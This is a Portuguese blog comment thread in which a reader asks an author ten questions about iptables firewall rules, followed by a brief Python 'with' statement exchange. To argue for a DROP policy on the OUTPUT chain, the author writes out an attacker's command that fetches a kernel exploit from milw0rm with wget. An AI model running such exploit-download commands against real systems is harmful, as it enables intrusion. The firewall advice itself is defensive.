Comentários do Blog

Muito bom este post seu Pedro
Parabens pela sua iniciativa e continue assim(depois dos elogios rsrsrs) vem a duvida e ja me desculpe pela ignorancia, tenho aqui um provedor de internet onde utilizo o mk pra todos os serviços que preciso e trabalho tambem com serviodor linux debian que funciona como proxy em paralelo ao mikrotik, gostaria de saber como poderia implementar esta solução que vc postou...seria possivel o que vc indica, estou enfrentando varios problemas com virus na rede e esta solução parece interessante

abraços

jeanfrank

Postado originalmente por Dedao

Ola Pedro.
Obrigado pelas respostas

De nada cara, pra isso que serve o Under-Linux.org! E é bem mais divertido quando dicutimos nossas opniões!

Postado originalmente por Dedao

8 - Você acha importante deixar a chain output da tabela filter como DROP ? Eu normalmente deixo apenas o INPUT e o FORWARD como DROP, e o OUTPUT deixo ACCEPT e não tenho muitos problemas.

Isso é um ponto bem pessoal, ligado ao seu nível de paranoia. Mas vamos a um cenário pra ficar mais claro minha opnião.

Seja um servidor de rede rodando FTP e HTTP. Assuma as seguintes regras:

iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT

Veja que a política da chain OUTPUT está como DROP.

Agora imagine que num dia X aparece uma falha no serviço de FTP. Agora imagine que antes da falha ser relatada e corrigida surge um exploit para a falha (0-day). Um atacante utiliza o exploit contra o serviço de FTP e consegue acesso ao terminal com os previlégios do usuário ao qual o serviço estava associado.

Agora, imagine que o kernel também está com uma falha e existe um exploir disponível. O usuário poderá fazer:

wget http://www.milw0rm.com/exploit/666

e executar o exploit contra sua máquina.

Porém, se seu conjunto de regras fosse:

iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT

iptables -A OUTPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT

Veja que não há regras que aceitem novas conexões saindo do servidor, portanto a conexão maliciosa nunca seria realizada. E também não adianta somente se valer dessa técnica. Atualize seus servidores.

Como eu disse, vai depender do seu nível de paranóia.

Postado originalmente por Dedao

Em relação a questão 9, ficou claro sim. Mas me surgiu uma outra dúvida.
Eu seria obrigado a ter a regra

iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW -j ACCEPT no final do firewall, ou apenas tendo a regra

iptables -A INPUT -p tcp --dport $PORTA -m state --state RELATED,ESTABLISHED -j ACCEPT bastaria ?

Você tem que ter regras para aceitar novas conexões. Quanto falei regras no estilo "X", quis dizer que $PORTA deve ser substituido pela porta do serviço que se deseja liberar. Como no exemplo que dei acima, temos duas portas, a 21 e a 80, logo, temos duas regras com o template citado:

iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW -j ACCEPT

iptables -A INPUT -p tcp --dport 21 -m state --state NEW -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT

Postado originalmente por Dedao

Em relação a esse mesmo assunto, teria problema se eu utilizar apenas a regra iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT, ou isso poderia comprometer a segurança ?

Sim teria, porém necessitaria de uma regra por serviço. Digamos que se faça:

iptables -A INPUT -p tcp --dport 21 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

VEja que não haveria proveito do sistema de conntrack pois teriamos uma regra para cada serviço, e no caso de N regras, todos os pacote de uma conexão teria que passar por P regras até ser aceito, onde P é a posição da regra que o aceita, estando alguma conexão sempre necessitando a passar por um número de regras que se aproxime de N. Ao passao que, da forma como citado na outra resposta, após o primeiro pacote ser aceito, somente uma regra seria avaliada. Entendeu meu ponto de vista?

Ola Pedro.
Obrigado pelas respostas
Bom, me desculpe, acho que eu mesmo me confundi na questão 7...eheh...desconsidere.

Na pergunta 8, também me passei. Segue a minha duvida de forma mais clara:

8 - Você acha importante deixar a chain output da tabela filter como DROP ? Eu normalmente deixo apenas o INPUT e o FORWARD como DROP, e o OUTPUT deixo ACCEPT e não tenho muitos problemas.

Em relação a questão 9, ficou claro sim. Mas me surgiu uma outra dúvida.
Eu seria obrigado a ter a regra

iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW -j ACCEPT no final do firewall,
ou apenas tendo a regra

iptables -A INPUT -p tcp --dport $PORTA -m state --state RELATED,ESTABLISHED -j ACCEPT bastaria ?
Em relação a esse mesmo assunto, teria problema se eu utilizar apenas a regra iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT, ou isso poderia comprometer a segurança ?

Postado originalmente por Dedao

Ola Pedro.
Antes de tudo, queria te parabenizar pelo excelente material sobre iptables.....Bom, li as 4 partes da apostila de iptables que você criou, mas fiquei ainda com algumas dúvidas. Se você puder me responder, me ajudaria bastante. Segue elas abaixo:

Obrigado...

Postado originalmente por Dedao

1 - Você poderia me explicar melhor para que server a tabela raw do iptables ? Poderia dar algum exemplo prático ?

A tabela raw tem a capacidade de manipular o filtro de estados do iptables. Um exemplo prático. Digamos que você tenha uma faixa de endereços IPs aos quais você não deseja prover serviço, nem muito menos alocar recursos para manter o estado dessas conexões. Assuma também uma política restritiva. Você poderia fazer:

iptables -t raw -A PREROUTING -s 192.168.0.10-20 -j NOTRACK
iptables -A INPUT -p tcp --dport 80 --syn -m state --state NEW -j ACCEPT

Postado originalmente por Dedao

2 - A opção -Z zera os contadores de bytes. Mas qual a utilidade de eu fazer isso ? Em que isso vai afetar meu firewall ?

Uma utilidade seria no momento de depuração das regras. Digamos que você esteja com um problema em suas regras e necessita avaliá-lo. Você pode zerar os contadores e a partir daí gerar tráfego e ver o comportamento das regras.

Além, caso você esteja com um conjunto de regras em fase de testes e esteja avaliando-as em um servidor em produção. Quando estiver satisfeito com seu conjunto de regras, você pode zerar os contadores e ter as estatísticas a partir do momento da produção em si (quando o conjunto de regras sair da fase de testes e passar para uma fase estável).

Até onde eu sei, não afeta em nada. Somente zera os contadores.

Postado originalmente por Dedao

3 - Fiquei com dúvida em relação a criar regras sem um target. Ok, se eu fizer uma regra sem target, essa regra ira trabalhar como um contador. Mas quando vou precisar fazer isso ? Pode dar algum exemplo prático ?

Isso é um caso bem específico. Por exemplo, caso se queira avaliar quantas conexões TCP para a porta 80 estão vindo pela rede interna e quantos da Internet para a criação de uma política de QoS. Estátistica!

Postado originalmente por Dedao

4 - Poderia me explicar por que não devo utilizar a regra iptables -A INPUT -p tcp --syn -m limit --limit 5/s --limit-burst 3 -j DROP para evitar flooding ?
Qual regra você acha mais adequada para evitar ataques floods ?

Antes, obrigado! Encontrei um erro... teria que haver um ! antes --limit. Já corrigi lá no texto, obrigado novamente! Segue a explicação para a seguinte regra:

iptables -A INPUT -p tcp --syn -m limit ! --limit 5/s --limit-burst 3 -j DROP

Isso é um suicídio... Ou um pedido de demissão

Entendamos a regra. Ela diz que: ``Assista todo o tráfego TCP com a flag syn presente. Após o terceiro pacote, se a taixa não estiver limitada a 5 pacotes por segundo, derrube o pacote''. Digamos que alguém realmente esteja tentando realizar uma inundação de pacotes syn na sua máquina. Caso existam tentativas de conexões paralelas e legítimas, os host requisitantes também serão derrubados. Se o indivíduo malicioso manter o ritmo de pacotes, está instalado um DoS na sua rede.

Não conheço nenhuma... Recomento utilizar os syn cookies.

Postado originalmente por Dedao

5 - Vamos supor que eu tenha um sistema que utilize muito protocolo udp (ex: voip). Eu poderia ter as regras abaixo no firewall funcionando em perfeita harmonia ?
iptables -A INPUT -m state --state RELATED,ESTABLISHED -p tcp -j ACCEPT
iptables -A INPUT -m state --state RELATED,ESTABLISHED -p udp -j ACCEPT

Com certeza...

Postado originalmente por Dedao

6 - Eu tendo um sistema voip, eu utilizando a regra iptables -A INPUT -m state --state RELATED,ESTABLISHED -p udp -j ACCEPT ajudaria a ter menos perda de pacote ?

Vai depender muito da quantidade de regras de seu conjunto e da natureza da perda dos pacotes. Caso o conjunto de regas seja muito extenso, ter essa regra vai poupar tempo computacional pois irá evitar que outras regras sejam avaliadas (veja a resposta 9).

Postado originalmente por Dedao

7 - Quando é vantagem utilizar o SNAT ao invés do DNAT, pois ao meu ver, sempre é mais pratico utilizar uma regra parecida com essa:
iptables -t nat -s 200.200.200.200 -p tcp -m tcp --dport 21 -j DNAT --to-destination 192.168.20.1

Não entendi a pergunta.

Não lembro de ter comparado os dois. Mas se o tiver feito, me diga onde está pois deve ser outro erro.

Sua regra está sem chain, mas pelo contexto, tem que ser a PREROUTING. E por que o "-m tcp"?

Postado originalmente por Dedao

8 - Você acha importante deixar a chain output da tabela filter como DROP ? Eu normalmente deixo apenas o INPUT e o FORWARD como ACCEPT e não tenho muitos problemas.

Como assim? Se deve-se usar uma política restritiva nas chains da tabela filter?

Postado originalmente por Dedao

9 - Faz diferença em utilizar a regra iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT no final ou no início do firewall ? Onde seria melhor deixá-la ?

Faz muita. Na minha opnião, a principal vantagem do módulo state é poupar processamente.

Assuma que as regras que liberam o tráfego são do seguinte estilo:

iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW -j ACCEPT

Assuma também que a ultima regra seja

iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

Ao chegar um pacotes SYN, ele será avaliado, até que seja aceito. Ou seja, atravessará as regras até que chegue em uma que aceite o pacote. Os próximos pacotes, irão atravessar o mesmo conjunto de regras, não casarão com nenhuma (pois seus estados já não são NEW) e irão casar ao chegar na ultima regra. Portanto, serão avaliadas N-1 regras até que o pacote seja aceito.

Caso a situação se inverta, tenhamos

iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport $PORTA -m state --state NEW -j ACCEPT

Somente o primeiro pacote terá que passar por todas as regras, todo os outros casarão de imediato com a primeira, poupando N-1 avaliação. Ou seja, realizando somente 1.

Espero que meu ponto de vista tenha ficado claro.

Postado originalmente por Dedao

10 - Sempre que eu faço um firewall, eu utilizo as sempre as seguintes regras:
iptables -P INPUT -j DROP
iptables -P FORWARD -j DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -s ! 127.0.0.0 -p tcp -j LOG --log-prefix "firewall.log"

Depois dessas regras, eu crio o firewall, de acordo com o ambiente. Você acha que há necessidade de ter mais alguma regra ?

Só a ultima regra que pode levá-lo a um DoS.

Em se tratando de um filto restritivo, eu faço da seguinte forma:

iptables -P INPUT DROP
iptables- P OUTPUT DROP
iptables -P FORWARD DROP

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

A partir desse ponto, vou apenas anexando regras ao final (sempre usando -A).

Ola Pedro.
Antes de tudo, queria te parabenizar pelo excelente material sobre iptables.....Bom, li as 4 partes da apostila de iptables que você criou, mas fiquei ainda com algumas dúvidas. Se você puder me responder, me ajudaria bastante. Segue elas abaixo:

1 - Você poderia me explicar melhor para que server a tabela raw do iptables ? Poderia dar algum exemplo prático ?

2 - A opção -Z zera os contadores de bytes. Mas qual a utilidade de eu fazer isso ? Em que isso vai afetar meu firewall ?

3 - Fiquei com dúvida em relação a criar regras sem um target. Ok, se eu fizer uma regra sem target, essa regra ira trabalhar como um contador. Mas quando vou precisar fazer isso ? Pode dar algum exemplo prático ?

4 - Poderia me explicar por que não devo utilizar a regra iptables -A INPUT -p tcp --syn -m limit --limit 5/s --limit-burst 3 -j DROP para evitar flooding ?
Qual regra você acha mais adequada para evitar ataques floods ?

5 - Vamos supor que eu tenha um sistema que utilize muito protocolo udp (ex: voip). Eu poderia ter as regras abaixo no firewall funcionando em perfeita harmonia ?
iptables -A INPUT -m state --state RELATED,ESTABLISHED -p tcp -j ACCEPT
iptables -A INPUT -m state --state RELATED,ESTABLISHED -p udp -j ACCEPT

6 - Eu tendo um sistema voip, eu utilizando a regra iptables -A INPUT -m state --state RELATED,ESTABLISHED -p udp -j ACCEPT ajudaria a ter menos perda de pacote ?


7 - Quando é vantagem utilizar o SNAT ao invés do DNAT, pois ao meu ver, sempre é mais pratico utilizar uma regra parecida com essa:
iptables -t nat -s 200.200.200.200 -p tcp -m tcp --dport 21 -j DNAT --to-destination 192.168.20.1

8 - Você acha importante deixar a chain output da tabela filter como DROP ? Eu normalmente deixo apenas o INPUT e o FORWARD como ACCEPT e não tenho muitos problemas.

9 - Faz diferença em utilizar a regra iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT no final ou no início do firewall ? Onde seria melhor deixá-la ?

10 - Sempre que eu faço um firewall, eu utilizo as sempre as seguintes regras:
iptables -P INPUT -j DROP
iptables -P FORWARD -j DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -s ! 127.0.0.0 -p tcp -j LOG --log-prefix "firewall.log"

Depois dessas regras, eu crio o firewall, de acordo com o ambiente. Você acha que há necessidade de ter mais alguma regra ?

[]'s,
Renato

É sempre bom ajudar

Precisando de algo em python pode contar comigo!

É válido como identificador... Foi boa essa dica do with_statement

Código :

#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
 
# Copyright (c) 2009 Pedro Arthur Duarte
# Este código está sob a licensa GPL e não prove nenhum tipo de garantia!
# veja http://www.gnu.org/licenses/gpl.html para mais detalhes...
 
from sys import exit;
from sys import argv;
from random import sample;
 
if len(argv) < 4:
        print argv[0] + " QTD ENTRADA SAIDA"
        exit()
 
fin = open (argv[2],'r')
 
l = []
 
[l.append(s) for s in fin]
 
with open(argv[3],'w') as fout:
        [fout.write (i) for i in sample(l, int(argv[1]))]
 
pedroarthur@coruscant:~/pypypy$ python aleatorio.py
aleatorio.py:23: Warning: 'with' will become a reserved keyword in Python 2.6
  File "aleatorio.py", line 23
    with open(argv[3],'w') as fout:
            ^
SyntaxError: invalid syntax
 
pedroarthur@coruscant:~/pypypy$ python -V
Python 2.5.2

Opa!!! Correção....

O with foi implementado no 2.5 mas está desabilitado por padrão. Para habilitar adicione o seguinte import:

from __future__ import with_statement

Mais informações aqui: 8 PEP 343: The 'with' statement

Se não me engano o with no 2.5 era uma palavra reservada mas só foi implementado no 2.6... Compound statements — Python v2.6 documentation

Como o Debian 5 tem o python 2.5 o with ainda não funciona propriamente.

Python se mostrou um problem ontem... Tentei fazer um código e uma das palavras chaves ainda não estava implementada (with). Só mandou um warning avisando que na próxima versão o seria...

Agora é migrar para o squeezy... hehehe